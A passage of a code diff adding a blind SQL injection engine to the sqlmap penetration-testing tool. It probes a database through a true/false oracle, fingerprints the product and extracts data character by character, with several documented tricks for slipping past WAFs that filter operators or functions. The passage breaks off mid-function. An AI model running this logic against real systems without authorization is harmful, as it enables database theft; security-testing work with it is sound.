+    _unichr = chr                       # py3
+
+# py2/py3 shim: the py2 unicode text type (str on py3)
+try:
+    _unicode = unicode                  # py2
+except NameError:
+    _unicode = str                      # py3
+
+
+def _native(s):
+    # embed a literal as the native str type: on py2 a unicode value is encoded to
+    # utf-8 bytes so the byte-string SQL templates ('{expr}'.format(...)) don't force
+    # an ascii encode of non-ASCII data; on py3 str is already unicode-clean.
+    if str is bytes and isinstance(s, _unicode):    # py2 only
+        return s.encode("utf-8")
+    return s
+
+
+__all__ = [_n for _n in list(globals()) if not _n.startswith('__') and _n != 'binascii']

extra/esperanto/discovery.py

@@ -0,0 +1,604 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from .atlas import _BANNER_KEYWORDS
+from .atlas import _BANNERS
+from .atlas import _BINWRAP
+from .atlas import _BYTELEN
+from .atlas import _CATALOGS
+from .atlas import _CHARCODE
+from .atlas import _CHARFROM
+from .atlas import _charsetCodec
+from .atlas import _CHARSET_PROBES
+from .atlas import _COALESCE
+from .atlas import _CONCAT
+from .atlas import _DUAL
+from .atlas import _DUAL_IMPLIES
+from .atlas import _HEXFN
+from .atlas import _IDENTITY
+from .atlas import _LENGTH
+from .atlas import _PREFIX
+from .atlas import _SUBSTRING
+from .atlas import _TEXTCAST
+from .records import Cap
+from .records import OracleUndecided
+
+
+class _Discovery(object):
+    """_Discovery
+
+    probe the target to build the Dialect; populates self.dialect, never extracts data."""
+
+    def discover(self):
+        with self._probePhase():
+            return self._discover()
+
+    def _discover(self):
+        if not self._sanity():
+            raise RuntimeError("oracle does not behave (1=1 true / 1=2 false failed)")
+        try:
+            self._discoverSubstring()
+        except RuntimeError:
+            # MAX-CONSTRAINT path: every substring fn is blacklisted. fall back to a
+            # pure pattern-match extractor (LIKE/GLOB) that needs no SUBSTR/LENGTH/
+            # code/hex fn.
+            if self._fallbackPrefix():
+                return self.dialect
+            raise
+        try:
+            self._discoverLength()
+        except RuntimeError:
+            # no length fn - derive length from the substring's end behavior, provided
+            # that end is observable (empty/NULL). one more laddered capability, so a
+            # backend with substring but no CHAR_LENGTH/LENGTH/LEN still extracts.
+            # if the end isn't observable (e.g. LEFT/RIGHT), drop to the pattern floor.
+            if self.dialect.substring.get("beyond_end") not in ("empty", "null-or-error"):
+                if self._fallbackPrefix():
+                    return self.dialect
+                raise
+            self.dialect.notes.append("no length fn; length derived from substring end")
+        self._discoverBytelen()
+        self._discoverConcat()
+        self._fixupLength()
+        self._discoverTextcast()
+        self._discoverCoalesce()
+        self._discoverCompare()
+        self._discoverComparator()
+        self._discoverCharfrom()
+        self._discoverCharset()
+        self._discoverDual()
+        self._discoverIdentity()
+        self._discoverCatalog()
+        self._checkCompat()
+        self._discovered = True
+        return self.dialect
+
+    def _fallbackPrefix(self):
+        # pure LIKE/GLOB pattern-match floor: usable when there is no workable
+        # substring+length combo (substring absent, or present but unmeasurable).
+        # only the pattern-INDEPENDENT capabilities (charfrom/dual/catalog use no
+        # SUBSTR) are discovered; concat/compare/etc. stay None.
+        if not self._discoverPrefix():
+            return False
+        self.dialect.substring = None       # route retrieval to the pattern-match path
+        self.dialect.length = None
+        self.dialect.compare = "like"
+        # the numeric/paging comparator is STILL needed here: catalog keyset paging relies on
+        # it, and the constructor default 'gt'/_inOk=True would silently fail (returning only
+        # the first row, no warning) on the very WAF that forced this floor. Discover the real
+        # capability so paging uses NOT IN / brute-force honestly.
+        self._discoverComparator()
+        self._discoverCharfrom()
+        self._discoverCharset()
+        self._discoverDual()
+        self._discoverCatalog()
+        self._discovered = True
+        return True
+
+    def _discoverPrefix(self):
+        # LIKE/GLOB pattern match: 'sqlmap' <op> 'sq<multi>' true, 'zz<multi>' false.
+        # also measure case-sensitivity ('a' <op> 'A').
+        for op, multi, single in _PREFIX:
+            if self._ask("('sqlmap') %s 'sq%s'" % (op, multi)) and \
+               not self._ask("('sqlmap') %s 'zz%s'" % (op, multi)):
+                ci = self._ask("('a') %s 'A'" % op)
+                self.dialect.prefix = Cap(op, "%s", multi=multi, single=single, case_insensitive=ci)
+                return op
+        return None
+
+    def identify(self):
+        """Fuse catalog family + required dual-table + version banner (+ behavioral
+        tells) into a best-guess product with an evidence trail. Run after
+        discover(). This is the CTF step: name the abomination on the other end."""
+        d = self.dialect
+        if not self._discovered:
+            self.discover()
+        ev = []
+        if d.catalog:
+            ev.append(("catalog = %s" % d.catalog, d.family))
+        if d.dual and d.dual[0] != "bare":
+            ev.append(("bare SELECT needs FROM %s" % d.dual[0], _DUAL_IMPLIES.get(d.dual[0], "?")))
+        product = None
+        # best-effort naming: on a permission/charset wall a probe may be undecided;
+        # degrade to whatever evidence was gathered rather than crash the verdict
+        try:
+            # cheap behavioral tell: || is logical OR -> MySQL family (one probe, no banner)
+            if d.concat and d.concat[0] != "pipes" and self._ask("(%s)=1" % _CONCAT[0][1].format(a="1", b="1")):
+                ev.append(("|| is logical OR (not concat)", "MySQL family"))
+                product = "MySQL"
+            # the version banner is the EXPENSIVE part (blind-reading a long string), so
+            # it is paid for ONLY when the catalog family can't name the product on its
+            # own - i.e. the shared INFORMATION_SCHEMA / unknown-catalog case. A specific
+            # catalog (SQLite/Oracle/PostgreSQL/MSSQL/...) names the product for free, and
+            # --banner reads the full version explicitly via banner().
+            if product is None and (not d.family or "ANSI" in d.family):
+                val, implied = self._probeBanner()
+                if val:
+                    ev.append(("banner", val))
+                    product = self._nameFromBanner(val) or implied
+                if product is None and self._hasChars("@@version_comment"):
+                    comment = self.extract("@@version_comment", limit=64)
+                    if comment:
+                        ev.append(("@@version_comment", comment))
+                        product = self._nameFromBanner(comment)
+        except OracleUndecided:
+            ev.append(("product identification", "stopped (oracle undecided - permission/charset wall)"))
+
+        d.product = product or d.family
+        d.evidence = ev
+        return {"product": d.product, "version": d.version, "family": d.family,
+                "dual": d.dual[0] if d.dual else None, "compare": d.compare,
+                "evidence": ev}
+
+    def _probeBanner(self):
+        # blind-read the version string (expensive - a long string over the oracle).
+        # caches on the dialect; returns (version, implied_product) - some exprs imply a
+        # product just by existing (e.g. H2VERSION() -> H2)
+        for _label, expr, prod, implies in _BANNERS:
+            if self._hasChars(expr):
+                val = self.extract(expr, limit=96)
+                if val:
+                    self.dialect.version = val
+                    return val, (prod if implies else None)
+        return None, None
+
+    def banner(self):
+        """The --banner action: the full version string, read on demand ONLY. The
+        fingerprint never triggers this - naming the product (identify) is cheap and
+        does not need the banner unless the catalog family is ambiguous."""
+        if not self._discovered:
+            self.discover()
+        if self.dialect.version is None:
+            try:
+                self._probeBanner()
+            except OracleUndecided:
+                pass
+        return self.dialect.version
+
+    @staticmethod
+    def _nameFromBanner(text):
+        low = text.lower()
+        for kw in _BANNER_KEYWORDS:
+            if kw.lower() in low:
+                return kw
+        return None
+
+    def _discoverSubstring(self):
+        for name, tmpl in _SUBSTRING:
+            g = lambda e, p, ln: tmpl.format(expr=e, pos=p, len=ln)
+            base = None
+            if self._ask("%s='q'" % g("'sqlmap'", 2, 1)) and not self._ask("%s='z'" % g("'sqlmap'", 2, 1)):
+                base = 1
+            elif self._ask("%s='q'" % g("'sqlmap'", 1, 1)) and self._ask("%s='s'" % g("'sqlmap'", 0, 1)):
+                base = 0
+            if base is None:
+                continue
+            self.dialect.substring = Cap(name, tmpl, index_base=base)
+            # base detection above CONFIRMS the substring fn works; the property
+            # measurements below are best-effort and MUST NOT discard it - a probe the
+            # oracle can't decide leaves the property at a safe default, never aborts.
+            props = self.dialect.substring.props
+            try:
+                props["beyond_end"] = self._edgeBehavior(self._sub("'ABCDE'", 6, 1))
+                props["zero_length"] = self._edgeBehavior(self._sub("'ABCDE'", 1, 0))
+                props["unit"] = self._substringUnit()
+            except OracleUndecided:
+                pass
+            props.setdefault("beyond_end", "unknown")
+            props.setdefault("zero_length", "unknown")
+            props.setdefault("unit", "unknown")
+            return name
+        self.dialect.substring = None
+        raise RuntimeError("no working substring function found")
+
+    def _codeCharTmpl(self):
+        # a code->char template (CHAR/CHR/NCHAR), probed ASCII-only and cached. lets
+        # the unicode PROPERTY probes build a multibyte test char server-side instead
+        # of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers.
+        if self._codeTmpl is None:
+            self._codeTmpl = False
+            # PASS 1 prefers a UNICODE-capable constructor (one that yields a non-NULL char for a
+            # code point > 255), so SQL Server picks NCHAR over the byte-only CHAR - CHAR(8364)
+            # is NULL there and would break the euro/UTF-16 probes. PASS 2 accepts any ASCII-
+            # working constructor when no Unicode-capable one exists.
+            for unicode_capable in (True, False):
+                for _, tmpl in _CHARFROM:
+                    if not (self._ask("%s='a'" % tmpl.format(code=97)) and
+                            not self._ask("%s='b'" % tmpl.format(code=97))):
+                        continue
+                    if unicode_capable and not self._ask("(%s) IS NOT NULL" % tmpl.format(code=256)):
+                        continue
+                    self._codeTmpl = tmpl
+                    break
+                if self._codeTmpl:
+                    break
+        return self._codeTmpl or None
+
+    def _substringUnit(self):
+        # char vs byte, ASCII-only + self-referential: SUBSTR(<mb>,1,1) returns the
+        # whole char (== <mb>) if char-based, or a partial byte (!= <mb>) if byte-based.
+        # <mb> is a multibyte codepoint built from its numeric code (no raw bytes sent).
+        cf = self._codeCharTmpl()
+        if not cf:
+            return "unknown"
+        mb = cf.format(code=0x20AC)                     # U+20AC (multibyte in UTF-8)
+        if self._ask("%s=%s" % (self._sub(mb, 1, 1), mb)):
+            return "characters"
+        return "bytes-or-unknown"
+
+    def _edgeBehavior(self, expr):
+        if self._ask("%s=''" % expr):
+            return "empty"
+        if not self._ask("%s IS NOT NULL" % expr):
+            return "null-or-error"
+        return "other"
+
+    def _discoverLength(self):
+        # prefer a CHARACTER-count fn (pass 1); fall back to any working fn (pass 2)
+        # so length stays in the same unit as the char-indexed substring
+        for prefer_chars in (True, False):
+            for name, tmpl in _LENGTH:
+                f = lambda s: tmpl.format(expr=s)
+                if not (self._ask("%s=1" % f("'A'")) and self._ask("%s=2" % f("'AB'"))):
+                    continue
+                try:
+                    unit = self._lengthUnit(f)
+                except OracleUndecided:
+                    unit = "unknown"
+                if prefer_chars and unit != "characters":
+                    continue
+                trailing = self._ask("%s=2" % f("'A '"))       # preserves trailing space?
+                empty_null = not self._ask("(%s) IS NOT NULL" % f("''"))  # LENGTH('') errors/NULL?
+                self.dialect.length = Cap(name, tmpl, unit=unit, trailing=trailing,
+                                          empty_is_null=empty_null)
+                return name
+        self.dialect.length = None
+        raise RuntimeError("no working length function found")
+
+    def _lengthUnit(self, f):
+        # ASCII-only: measure the length of a multibyte char built from its code.
+        # 1 => character-counting, >=2 => byte-counting. no raw non-ASCII on the wire.
+        cf = self._codeCharTmpl()
+        if not cf:
+            return "unknown"
+        mb = cf.format(code=0x20AC)
+        if self._ask("%s=1" % f(mb)):
+            return "characters"
+        if self._ask("%s>=2" % f(mb)):
+            return "bytes"
+        return "unknown"
+
+    def _fixupLength(self):
+        # a length fn that trims trailing spaces (SQL Server/Sybase LEN) truncates
+        # any value ending in spaces; rebuild it as LEN(x||'.')-1 with the concat.
+        L = self.dialect.length
+        if not L or L.get("trailing"):
+            return
+        if self.dialect.concat:
+            joined = self.dialect.concat[1].format(a="({expr})", b="'.'")
+            props = dict(L.props, trailing=True)
+            inner = "(%s)-1" % L[1].format(expr=joined)
+            # a variadic CONCAT() (SQL Server/Sybase) treats NULL as '' -> LEN(CONCAT(NULL,'.'))-1
+            # is 0, which would report a NULL value as an empty string. Guard so a NULL input
+            # still yields NULL (keeps is_null detectable); harmless for NULL-preserving '||'.
+            tmpl = "(CASE WHEN ({expr}) IS NULL THEN NULL ELSE %s END)" % inner
+            self.dialect.length = Cap(L.name + "+dot", tmpl, **props)
+            self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name)
+        else:
+            self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it")
+
+    def _checkCompat(self):
+        # substring positions and the length count must be in the SAME unit, else
+        # the per-position walk desyncs on multibyte data
+        s, ln = self.dialect.substring, self.dialect.length
+        if s and ln and s.get("unit") == "characters" and ln.get("unit") == "bytes":
+            # HARD strategy change (not just a warning): a byte-count length would drive the
+            # char-indexed substring walk PAST the end of a multibyte value. Discard it so
+            # length is derived from the char-based substring instead - same unit, no desync.
+            self.dialect.notes.append("unit mismatch (char substring vs byte-count length) - deriving length from substring")
+            self.dialect.length = None
+
+    def _discoverBytelen(self):
+        # a *byte*-length fn - distinguished from char length with a multibyte char
+        # (a char-length fn would report 1). the char is built from its code (ASCII on
+        # the wire); if it can't be built, the atlas name is trusted on the ASCII check.
+        cf = self._codeCharTmpl()
+        mb = cf.format(code=0x20AC) if cf else None
+        for name, tmpl in _BYTELEN:
+            try:
+                if not self._ask("%s=2" % tmpl.format(expr="'AB'")):
+                    continue
+                if mb and not self._ask("%s>=2" % tmpl.format(expr=mb)):
+                    continue                            # counts chars, not bytes
+            except OracleUndecided:
+                continue
+            self.dialect.bytelen = Cap(name, tmpl)
+            return name
+
+    # casts with no length bound - hex-framing a value through these can never truncate it;
+    # anything else may silently shorten a long value, so dump() verifies those cells at source
+    _UNBOUNDED_CASTS = frozenset(("cast_text", "cast_char", "cast_nvarchar_max",
+                                  "cast_varchar_max", "cast_string"))
+
+    def _discoverTextcast(self):
+        # a cast that stringifies a number: substr(cast(123),1,1)='1' and the
+        # negative sign survives (substr(cast(-42),1,1)='-')
+        for name, tmpl in _TEXTCAST:
+            c123, cneg = tmpl.format(expr="123"), tmpl.format(expr="-42")
+            if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \
+               self._lenEquals(c123, 3) and \
+               self._ask("%s='-'" % self._sub(cneg, 1, 1)):
+                self.dialect.textcast = Cap(name, tmpl, bounded=name not in self._UNBOUNDED_CASTS)
+                return name
+
+    def _discoverCoalesce(self):
+        # COALESCE(NULL,'X') -> 'X'. whether empty stays empty is a *measured*
+        # property, not a requirement (on Oracle '' IS NULL, so it becomes 'X').
+        for name, tmpl in _COALESCE:
+            g = lambda e, fb: tmpl.format(expr=e, fallback=fb)
+            if self._ask("%s='X'" % self._sub(g("NULL", "'X'"), 1, 1)):
+                empty_distinct = self._lenEquals(g("''", "'X'"), 0)
+                self.dialect.coalesce = Cap(name, tmpl, empty_distinct=empty_distinct)
+                return name
+
+    def _discoverDual(self):
+        # the tableless-SELECT FROM suffix; a non-bare match is a family fingerprint
+        for name, frm in _DUAL:
+            if self._ask("(SELECT 1%s)=1" % frm):
+                self.dialect.dual = Cap(name, frm)
+                return name
+
+    def _discoverConcat(self):
+        # test via substring of the joined result to dodge numeric-coercion
+        # false positives (MySQL 'a'+'b' -> 0, '||' -> logical OR, etc.)
+        for name, tmpl in _CONCAT:
+            joined = tmpl.format(a="'sq'", b="'lm'")
+            if self._ask("%s='l'" % self._sub(joined, 3, 1)) and \
+               self._lenEquals(joined, 4):
+                self.dialect.concat = Cap(name, tmpl)
+                # function-style concat (CONCAT(a,b)) may be VARIADIC - a flat
+                # CONCAT(a,b,c,...) beats deeply nested CONCAT(CONCAT(...)) (smaller
+                # payload, less WAF/URL surface). operators (||/+) split() to "".
+                func = tmpl.split("(")[0]
+                if func:
+                    try:
+                        three = "%s('s','q','l')" % func
+                        if self._ask("%s='q'" % self._sub(three, 2, 1)) and self._lenEquals(three, 3):
+                            self.dialect.concat.props["variadic"] = func
+                    except OracleUndecided:
+                        pass
+                return name
+        self.dialect.concat = None
+        self.dialect.notes.append("no concatenation operator discovered")
+
+    def _discoverCompare(self):
+        # 1) numeric code function - fast, unambiguous bisection
+        one = self._sub("'sqlmap'", 2, 1)       # -> 'q' (code 113 / 0x71)
+        for name, tmpl in _CHARCODE:
+            code = tmpl.format(expr=one)
+            if self._ask("%s=113" % code) and not self._ask("%s=112" % code):
+                self.dialect.charcode = Cap(name, tmpl, semantics=self._charcodeSemantics(tmpl))
+                self.dialect.compare = "code"
+                self.dialect.ordered = True
+                return "code:%s" % name
+        self.dialect.charcode = None
+
+        # 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a
+        #    code function (one compare per bisection) and recovers case under CI /
+        #    locale collations. tried before hex because it's cheaper.
+        cf = self._codeCharTmpl()
+        for name, tmpl in _BINWRAP:
+            w = lambda s: tmpl.format(x=s)
+            if not (self._ask("%s>%s" % (w("'a'"), w("'A'"))) and
+                    not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and
+                    not self._ask("%s=%s" % (w("'a'"), w("'A'")))):
+                continue
+            # BYTE-EXACT proof, not just case ORDER: a binary wrapper is used to certify EXACT
+            # values, so it must also distinguish TRAILING SPACES (most collations are PAD SPACE)
+            # and ACCENTS (many collations are accent-insensitive). One that folds either is
+            # ordered but NOT byte-exact -> skip it and fall through to hex, rather than promote a
+            # folded value (trailing-space or accent folding) to EXACT.
+            if self._ask("%s=%s" % (w("'a'"), w("'a '"))):          # trailing-space insensitive
+                continue
+            # accent test needs a char constructor to build the accented probe. If we HAVE one and
+            # it folds -> skip (not byte-exact). If we DON'T (constructors blocked), accents are
+            # UNTESTABLE: keep the wrapper for ORDERING (char reads) but mark byte_exact=False, so
+            # it does NOT certify EXACT (an accent-insensitive wrapper would silently pass an accented char as its base letter).
+            byte_exact = False
+            if cf:
+                if self._ask("%s=%s" % (w(cf.format(code=0xE9)), w("'e'"))):       # accent insensitive
+                    continue
+                byte_exact = True
+            self.dialect.binwrap = Cap(name, tmpl, byte_exact=byte_exact)
+            self.dialect.compare = "collation"
+            self.dialect.ordered = True
+            if not byte_exact:
+                self.dialect.notes.append("binary wrapper accent-sensitivity untestable (no char "
+                                          "constructor) - used for ordering, not exactness")
+            return "collation:%s" % name
+
+        # 3) hex/byte function - collation-independent, recovers letter case even
+        #    under case-insensitive collations (the key fallback when code fns are
+        #    filtered by a WAF)
+        for name, tmpl in _HEXFN:
+            enc = self._hexEncoding(tmpl)
+            if enc is not None:                          # '' = usable, codec unknown (auto-detect)
+                self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None))
+                self.dialect.compare = "hex"
+                self.dialect.ordered = True
+                return "hex:%s" % name
+
+        # 4) direct string comparison - only trustworthy where the collation follows
+        #    byte order (probe the ASCII case/range invariants first)
+        byteOrdered = (self._ask("'a'>'A'") and self._ask("'Z'<'a'") and self._ask("'0'<'A'"))
+        if byteOrdered and self._ask("%s>'p'" % one) and not self._ask("%s>'r'" % one):
+            self.dialect.compare = "ordinal"
+            self.dialect.ordered = True
+            return "ordinal"
+
+        # 5) equality scan - case-correct only under a case-sensitive collation
+        if not self._ask("'a'='A'"):
+            self.dialect.compare = "equality"
+            return "equality"
+
+        # 6) last resort: case-insensitive equality. letters recovered, CASE LOST
+        #    (no code/hex function and a CI collation - a genuine hard limit)
+        self.dialect.compare = "equality-ci"
+        self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable")
+        return "equality-ci"
+
+    # STRICT-'>' semantic truth table across the signed domain. Two positive samples (2>1,
+    # !2>3) are NOT enough: a '>'->'>=' rewrite passes them but fails the equality boundary
+    # (2>2 must be FALSE) and would then read every count/length/code off by one. Each
+    # candidate must reproduce '>' at the equality boundary AND across zero and negatives.
+    _GT_TRUTH = ((2, 1, True), (2, 2, False), (2, 3, False),
+                 (0, -1, True), (0, 0, False), (0, 1, False),
+                 (-2, -3, True), (-2, -2, False), (-2, -1, False))
+
+    def _provesGt(self, render):
+        # render(a, b) -> SQL for "a > b"; the candidate is accepted only if it matches
+        # strict '>' on EVERY truth-table row (equality boundary + zero + negative domain).
+        try:
+            for a, b, want in self._GT_TRUTH:
+                if bool(self._ask(render(a, b))) != want:
+                    return False
+        except OracleUndecided:
+            return False
+        return True
+
+    def _discoverComparator(self):
+        # how to express "value > threshold" for bisection. A WAF that strips '<'/'>'
+        # (very common) would otherwise leave code-mode picking '>' and silently
+        # failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall
+        # to order-free IN() subset bisection which needs only '=' membership.
+        HUGE = 1 << 62
+        try:
+            if self._provesGt(lambda a, b: "%d>%d" % (a, b)):
+                self._comparator = "gt"
+            elif self._provesGt(lambda a, b: "%d BETWEEN %d AND %d" % (a, b + 1, HUGE)):
+                self._comparator = "between"
+                self.dialect.notes.append("'>' unusable; bisecting via BETWEEN")
+            elif self._discoverOperatorFreeComparator():
+                # picked an ordered (log2) comparator that needs NO comparison operator - see below
+                pass
+            else:
+                self._comparator = "membership"
+                self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection")
+            self._inOk = self._ask("2 IN (2,3)") and not self._ask("9 IN (2,3)")
+        except OracleUndecided:
+            pass    # keep the safe defaults (gt / IN-ok)
+
+    def _discoverOperatorFreeComparator(self):
+        # Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN):
+        # each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the
+        # comparison operators. Each must pass the FULL signed truth table (not a 3-point positive
+        # probe), so a candidate that can't represent the negative/zero domain (e.g. WIDTH_BUCKET
+        # with lo==hi at n=-1) is rejected instead of silently misreading signed values.
+        candidates = (
+            ("sign",        "SIGN(({expr})-({n}))=1"),                             # SIGN(): every major DBMS
+            ("abs",         "ABS(({expr})-({n})-1)=({expr})-({n})-1"),             # ABS(): backup if SIGN is name-filtered
+            ("least",       "LEAST(({expr}),({n})+1)=({n})+1"),                    # GREATEST/LEAST family (expr once)
+            ("nullif",      "NULLIF(GREATEST(({expr}),({n})),({n})) IS NOT NULL"), # needs NO '=' -> survives '=' filtering
+            ("widthbucket", "WIDTH_BUCKET(({expr}),0,({n})+1,1)=2"),               # PostgreSQL / Oracle
+            ("interval",    "INTERVAL(({expr}),({n})+1)=1"),                       # MySQL / MariaDB
+        )
+        for name, tmpl in candidates:
+            if self._provesGt(lambda a, b, _t=tmpl: _t.format(expr=a, n=b)):
+                self._comparator = name
+                self._cmpTemplate = tmpl
+                self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper())
+                return True
+        return False
+
+    def _charcodeSemantics(self, tmpl):
+        # ASCII-only ROUND-TRIP: build a char from its code, then read the code back.
+        # code(char(N))==N means extract-then-rebuild is faithful for N. no raw
+        # non-ASCII byte ever crosses the URL/app/DBMS encoding layers.
+        cf = self._codeCharTmpl()
+        if not cf:
+            return "unknown"
+        code = lambda n: tmpl.format(expr=cf.format(code=n))
+        try:
+            if not self._ask("%s=233" % code(0x00E9)):       # U+00E9 round-trips (code(charfrom(0xE9))==0xE9)
+                return "unknown"
+            if not self._ask("%s=8364" % code(0x20AC)):      # U+20AC does NOT (single-byte codepage can't represent it)
+                return "codepage"                            # single-byte codepage only
+            # a supplementary char proves full codepoint vs a UTF-16 code-unit fn
+            # (SQL Server UNICODE() returns the leading surrogate for U+1F642).
+            if self._ask("%s=128578" % code(0x1F642)):
+                return "codepoint"
+            if self._ask("%s=55357" % code(0x1F642)):        # high surrogate
+                return "utf16_unit"
+            return "bmp_codepoint"                           # verified on BMP only
+        except OracleUndecided:
+            return "unknown"
+
+    def _discoverCharfrom(self):
+        for name, tmpl in _CHARFROM:
+            if self._ask("%s='a'" % tmpl.format(code=97)) and \
+               not self._ask("%s='b'" % tmpl.format(code=97)):
+                self.dialect.charfrom = Cap(name, tmpl)
+                return name
+        self.dialect.charfrom = None
+
+    def _discoverCharset(self):
+        # ASK THE DB ITS DECLARED CHARSET - the strongest possible encoding signal, and one a
+        # boolean oracle can read directly (a huge advantage over passive byte-guessing, which
+        # can't tell utf-8 e-acute from cp1252 mojibake). The first family probe that resolves gives a
+        # name; map it (quirk-aware: MySQL latin1==cp1252) to a Python codec used as the
+        # authoritative hex decoder. Unproven -> None -> non-ASCII text stays non-exact.
+        with self._probePhase():                    # a wrong-family charset expr errors -> skip
+            for expr in _CHARSET_PROBES:
+                try:
+                    if not self._hasChars(expr):
+                        continue
+                    res = self.extractResult(expr, limit=64)
+                except OracleUndecided:
+                    continue
+                if res.value and res.exact:
+                    codec = _charsetCodec(res.value)
+                    if codec:
+                        self.dialect.charset = codec
+                        self.dialect.notes.append("declared charset %r -> %s" % (res.value, codec))
+                        return codec
+        return None
+
+    def _discoverIdentity(self):
+        for kind, candidates in sorted(_IDENTITY.items()):
+            for expr in candidates:
+                # a valid identity expression has non-zero length; invalid -> error -> false
+                if self._hasChars(expr):
+                    self.dialect.identity[kind] = expr
+                    break
+
+    def _discoverCatalog(self):
+        for table, family, enum in _CATALOGS:
+            if self._exists(table):
+                self.dialect.catalog = table
+                self.dialect.family = family
+                self.dialect.catalogEnum = enum
+                return table

extra/esperanto/engine.py

@@ -0,0 +1,198 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from .atlas import _FREQ_ORDER
+from .atlas import _hardWarnings
+from .atlas import _PRINTABLE_SORTED
+from .atlas import _REPL
+from .atlas import _unichr
+from .records import Dialect
+from .records import ExtractResult
+from .records import OracleUndecided
+from .oracle import _OracleCore
+from .discovery import _Discovery
+from .extraction import _Extraction
+from .enumeration import _Enumeration
+
+
+class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
+    """DBMS-agnostic blind extractor. Behaviour lives in four mixins by concern
+    (oracle / discovery / extraction / enumeration); this class only holds
+    construction + the query counter."""
+
+    def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1,
+                 maxbytes=None, max_queries=None):
+        """oracle: callable(condition_str) -> bool.
+        quorum>1 turns on majority voting (2*quorum-1 samples) so a noisy or
+        intermittently-erroring oracle can't flip a single probe and corrupt a
+        result; retries re-attempts a raised call before it counts as an error.
+        maxlen caps text characters; maxbytes separately caps byte/hex recovery
+        (default 4*maxlen); max_queries is an optional hard oracle-call ceiling."""
+        if not callable(oracle):
+            raise TypeError("oracle must be callable")
+        self.oracle = oracle
+        self.verbose = verbose
+        self.maxlen = maxlen
+        self.maxbytes = maxlen * 4 if maxbytes is None else maxbytes
+        self.retries = retries
+        self.quorum = max(1, quorum)
+        self.max_queries = max_queries
+        self.dialect = Dialect()
+        self._queries = 0
+        self._errors = 0
+        self._hexProbed = False
+        self._hexOrdered = None
+        self._backslashEscape = None
+        self._codeTmpl = None
+        self._comparator = "gt"         # ordered-compare op: "gt" / "between" / operator-free rung / "membership"
+        self._cmpTemplate = None        # operator-free ordered rung: an "expr > n" template with {expr}/{n}
+        self._inOk = True               # IN(...) usable (order-free subset bisection)
+        self._lastTruncated = False
+        self._discovered = False
+        self._nonExactNamesNoted = False   # one-shot: enumerated-identifier-ambiguity note fired
+        self._castPreserves = None         # cached: does the text cast preserve a canary accent?
+        self._probing = False           # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an
+                                        # undecidable probe there = "rung unusable" -> False; elsewhere (reading
+                                        # committed data) an undecidable probe stays undecided so it degrades loudly
+        self._progress = None           # optional host callback(str) for live per-VALUE feedback
+        self._charProgress = None       # optional host callback(partial, total) for live per-CHARACTER
+                                        # feedback DURING a long extraction (so the user sees it working)
+
+    @property
+    def queryCount(self):
+        return self._queries
+
+
+def hostExtract(oracle, strategy, expr, maxlen=4096):
+    """Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle.
+
+    Proof that the strategy is a sufficient hand-off: it reproduces char-by-char
+    extraction with zero dependency on Esperanto's own retrieval code - what sqlmap's
+    `bisection()`/`queryOutputLength()` would do instead. EVERY numeric compare renders
+    through strategy.renderGt (the discovered comparator), so it survives a WAF that
+    strips '>' exactly as the engine does, and length is measured via the length fn OR,
+    when there is none, derived from the substring's end.
+
+    It covers the char-comparison modes (code / collation / ordinal / equality) with an
+    ordered comparator. Pattern-only (LIKE floor) and pure membership (no ordered
+    comparator) are NOT driven by this reference - it raises rather than silently
+    emitting an operator the dialect declared unusable or returning wrong data.
+
+    Returns an ExtractResult (value / exact / truncated / integrity), NOT a bare string:
+    an undecided host observation degrades to a FAILED result (never a manufactured bit),
+    a value longer than maxlen is flagged TRUNCATED, and a code-mode value read through an
+    UNPROVEN char-code fn is whole-value verified so a lossy code fn is caught (integrity
+    FAILED), exactly as the native engine does - so this stays a faithful sufficiency proof."""
+    HUGE = 1 << 62
+
+    def ask(cond):
+        # STRICT tri-state, like _OracleCore._ask: only a real bool is an observation; anything
+        # else (None from a transport/undecided oracle) is NOT coerced to False.
+        r = oracle(cond)
+        if r is True or r is False:
+            return r
+        raise OracleUndecided("host oracle undecided: %s" % cond)
+
+    if strategy.compare_mode == "like" or (strategy.substring is None and strategy.length is None):
+        raise NotImplementedError("hostExtract: pattern-only extraction is not driven by this reference")
+    if strategy.comparator == "membership":
+        raise NotImplementedError("hostExtract: an ordered comparator is required (membership-only unsupported)")
+
+    def _run():
+        if strategy.length is not None:
+            L = strategy.renderLength(expr)
+            if not ask(strategy.renderGt(L, -1, HUGE)):     # L >= 0: defined and non-negative
+                is_null = ask(strategy.renderIsNull(expr))  # ask ONCE (a noisy oracle could disagree twice)
+                return ExtractResult(None, is_null=is_null, complete=is_null)
+            if maxlen <= 0:                                 # non-empty but capped to nothing
+                return ExtractResult("", complete=False, truncated=True)
+            if not ask(strategy.renderGt(L, 0, HUGE)):      # not L > 0 -> empty string
+                return ExtractResult("", complete=True)
+            lo, hi = 1, min(8, maxlen)
+            while hi < maxlen and ask(strategy.renderGt(L, hi, HUGE)):
+                lo, hi = hi + 1, min(hi * 2, maxlen)
+            while lo < hi:
+                mid = (lo + hi) // 2
+                lo, hi = (mid + 1, hi) if ask(strategy.renderGt(L, mid, HUGE)) else (lo, mid)
+            length = lo
+            truncated = length >= maxlen and ask(strategy.renderGt(L, maxlen, HUGE))   # a char past the cap
+            # FINAL EQUALITY (as the native integer reader does): the comparator is proven only on
